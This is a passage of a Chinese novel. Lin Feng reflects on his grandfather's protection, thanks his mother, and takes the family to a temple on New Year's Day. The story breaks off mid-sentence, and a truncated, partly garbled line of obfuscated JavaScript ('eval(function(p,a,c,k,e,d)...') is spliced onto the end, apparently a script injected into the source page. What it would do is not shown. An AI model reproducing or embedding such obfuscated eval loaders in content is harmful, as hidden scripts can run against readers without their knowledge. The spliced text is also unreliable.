林峰握着茶杯的手紧了一下。爷爷说的“小峰就交给你了”,不是交代后事,不是托付,而是一种转移。他把林峰从那口井的诅咒中摘了出来,然后交给了母亲。他用自己的方式保护了林峰,然后让母亲用母亲的方式继续保护他。他不是一个人。他从来都不是一个人。他有母亲,有姐姐,有外甥,有一个完整的、普通的、充满烟火气的家。那些人是他的土壤,是他的根,是他能从那口井里爬出来、还能继续活着的全部原因。
“妈。”林峰说。
“嗯?”
“谢谢你。”
母亲看了他一眼,没有说话。她伸出手,拍了拍他的手背,然后站起来,去厨房准备早饭了。
大年初一的早饭是饺子,除夕夜包好的,冻在冰箱里,早上煮一煮就能吃。母亲煮了两盘饺子,一盘给林峰,一盘给自己和姐姐。姐夫不吃饺子,他要吃汤圆,母亲又给他煮了一碗汤圆。外甥什么都不想吃,只想吃糖,被姐姐瞪了一眼,乖乖地坐到了餐桌前,吃了三个饺子,喝了一碗粥。
吃完饭,林峰开车带一家人去庙里烧香。庙在县城东边的一座小山上,不大,只有两进院子,但香火很旺。大年初一,来烧香的人排成了长队,从庙门口一直排到山脚下。林峰停好车,一家人跟着队伍慢慢地往前挪。外甥等得不耐烦了,在队伍里扭来扭去,被姐姐按住了好几次。排了将近一个小时,终于到了庙门口。母亲进去烧了香,磕了头,捐了香火钱。姐姐也烧了香,磕了头。林峰没有烧香,他站在庙门口,看着院子里那棵老银杏树。树很大,树干要两个人才能合抱,树枝上挂满了红色的祈福带,风一吹,飘飘扬扬的,像无数只红色的蝴蝶。
他想起爷爷。不是病床上的爷爷,不是井底的爷爷,而是他很小的时候,爷爷带他来这座庙里烧香的爷爷。爷爷牵着他的手,走在石板路上,他那时候太小了,石板路的缝隙太宽了,他的脚踩进去会卡住,爷爷就把他抱起来,放在肩膀上。他骑在爷爷的脖子上,看着庙门
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+